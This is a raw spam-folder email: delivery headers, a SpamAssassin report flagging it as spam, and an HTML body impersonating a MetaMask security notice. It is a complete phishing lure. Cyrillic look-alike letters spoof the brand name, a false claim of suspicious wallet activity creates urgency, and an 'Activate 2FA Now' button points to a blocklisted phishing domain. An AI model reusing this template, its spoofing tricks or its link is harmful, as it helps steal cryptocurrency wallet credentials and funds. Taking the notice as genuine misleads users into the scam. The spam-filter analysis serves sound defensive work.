Return-Path: <postmaster@70680ca98e.nxcli.io>
Delivered-To: info+spam@ecolux-btp.com
Received: from myrte.o2switch.net
	by myrte.o2switch.net with LMTP
	id oONLOmx4NWhUyiEA5PApdA
	(envelope-from <postmaster@70680ca98e.nxcli.io>)
	for <info+spam@ecolux-btp.com>; Tue, 27 May 2025 10:31:40 +0200
Return-path: <postmaster@70680ca98e.nxcli.io>
Envelope-to: info@ecolux-btp.com
Delivery-date: Tue, 27 May 2025 10:31:40 +0200
Received: from cloudhost-10356436.uk-south-2.nxcli.net ([87.76.28.82]:40676)
	by myrte.o2switch.net with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.1)
	(envelope-from <postmaster@70680ca98e.nxcli.io>)
	id 1uJpii-00000009HVB-37Ca
	for info@ecolux-btp.com;
	Tue, 27 May 2025 10:31:40 +0200
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=70680ca98e.nxcli.io;
  b=IWZfGEtgsyZUqFf441PaMMWPOL0dBgQ+7wXC95AJ98RVVCztIIKYW9dNZl44R8FXGNkfg+7MKTfMpEJ2jg3RbQh/2zkLJGYeV6Q4w/dWcoITP5qhkoLDBNzi9tprXaBq5jse5ObsxTUf6yywFgGc/UbHUORpfdnpFlB9g9ZkDThVpA88sOkPHGmdBfeaRe30wG40QI8Q30UMgjXO7qHapOL3392Gyvj5WowB9VyLDKITssSKU6NWwSvz5aKE7dOH0Vcmyu93GhV6X/ffzGu3cqWrt0+WYKFkzhJVaOj7SOmiT5KG/wyNZSVoxq9a8uJpkmuipBPpTqs1oqcmcYrxFg==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=70680ca98e.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=xIKsU3xf/k7fOY4BNh7aFf2yG7IZS1H8PZO
	BCRhwdJg=; b=oxLI32DiyoCSCqHy1xjla1sOtxCdD3YLyxHAjCobNkplMUG8LLc
	dTRQM6hP7308SxgV4U7NGN5LnrfJ+nhygkm7qSmmocMqCahl+1uGmJkB4IWRkU9P
	yqq7FwlrYfP3nOmGgU9vpLw/jTRHrg/W+jIwsQe8CkbvfvqDxIslqZ9P4BM8GYii
	3mfCHevk5CHKWZp6tRmXXE3aGXGjxNqcNMwWQgWHxkfy5luEVAMnXMW45HYAxb3J
	1YsytuhtRsHyxWazaxj7jmNVl6IW4KCTdSrAh8y+eym/dsSSqB5DIG3AFfzvcdPm
	XASzQ4k2v6sXLKn2tUZgghf5m37JnMScs2w==
Received: (qmail 29961 invoked by uid 10127); 27 May 2025 09:30:40 +0100
Date: 27 May 2025 09:30:40 +0100
Message-ID: <20250527083040.29958.qmail@cloudhost-10356436.uk-south-2.nxcli.net>
To: info@ecolux-btp.com
X-PHP-Originating-Script: 10127:s.php
From: "MetaMаsk" <scad7apt@jym.io>
Reply-To: scad7apt@jym.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: Yes, score=48.3
X-Spam-Score: 483
X-Spam-Bar: ++++++++++++++++++++++++++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "scan.jabatus.fr",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview:  MetaMаsk Security MetaMаsk Security Notice We've detected
    suspicious behavior linked to your wallet. To enhance security, we recommend
    activating Two-Factor Authentication (2FA). 
 Content analysis details:   (48.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: nxcli.io]
  2.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: agroa4unipessoallda.com]
  3.6 RCVD_IN_SBL_CSS        RBL: Received via a relay in Spamhaus SBL-CSS
                             [87.76.28.82 listed in zen.spamhaus.org]
  0.1 URIBL_CSS_A            Contains URL's A record listed in the Spamhaus CSS
                             blocklist
                             [URIs: 70680ca98e.nxcli.io]
  0.0 RCVD_IN_DNSWL_BLOCKED  RBL: ADMINISTRATOR NOTICE: The query to
                             DNSWL was blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block
                              for more information.
                             [87.76.28.82 listed in list.dnswl.org]
  0.5 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
                             bl.spamcop.net
                 [Blocked - see <https://www.spamcop.net/bl.shtml?87.76.28.82>]
  1.7 RCVD_IN_MSPIKE_L4      RBL: Bad reputation (-4)
                             [87.76.28.82 listed in bl.mailspike.net]
  0.2 BAD_SUKA_DSTM          No description available.
  0.2 BAD_SUKA994_3          No description available.
  0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.0 SPF_NONE               SPF: sender does not publish an SPF Record
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [87.76.28.82 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [87.76.28.82 listed in bl.score.senderscore.com]
  0.7 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of
                             words
  0.6 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 HTML_MESSAGE           BODY: HTML included in message
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
   38 SPAMHAUS_DBLACK        Contains a spam URL listed in the DBL blocklist
                             [URIs: agroa4unipessoallda.com]
  0.0 RCVD_IN_MSPIKE_BL      Mailspike blocklisted
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
X-Spam-Flag: YES
Subject:  ***Potentiel-SPAM***  Suspiciоus behavior detected


<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MetaMаsk Security</title>
</head>
<body style="margin:0;padding:0;background:#f8f9fa;font-family:Arial,sans-serif;color:#222">
  <table width="100%" cellpadding="0" cellspacing="0" style="max-width:600px;margin:40px auto;background:#fff;border:1px solid #ddd;border-radius:8px">
    <tr>
      <td style="padding:20px;text-align:center">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:10px">
        <h2 style="color:#f6851b;font-size:18px;margin:10px 0 0">MetaMаsk Security Notice</h2>
      </td>
    </tr>
    <tr>
      <td style="padding:20px;font-size:15px;line-height:1.6">
        <p>We've detected suspicious behavior linked to your wallet. To enhance security, we recommend activating Two-Factor Authentication (2FA).</p>
        <p>2FA helps protect your assets even if someone knows your password.</p>
        <div style="text-align:center;margin:26px 0">
          <a href=" https://agroa4unipessoallda.com/wp7/?id=-7191659625388064476-1057" style="background:#f6851b;color:#fff;padding:12px 20px;border-radius:4px;text-decoration:none;font-weight:bold;display:inline-block">Activate 2FA Now</a>
        </div>
        <p>If you did not request this, no action is needed.</p>
      </td>
    </tr>
    <tr>
      <td style="padding:20px;text-align:center;color:#999;font-size:13px">
        © 2025 MetaMаsk. All rights reserved.
      </td>
    </tr>
  </table>
</body>
</html>

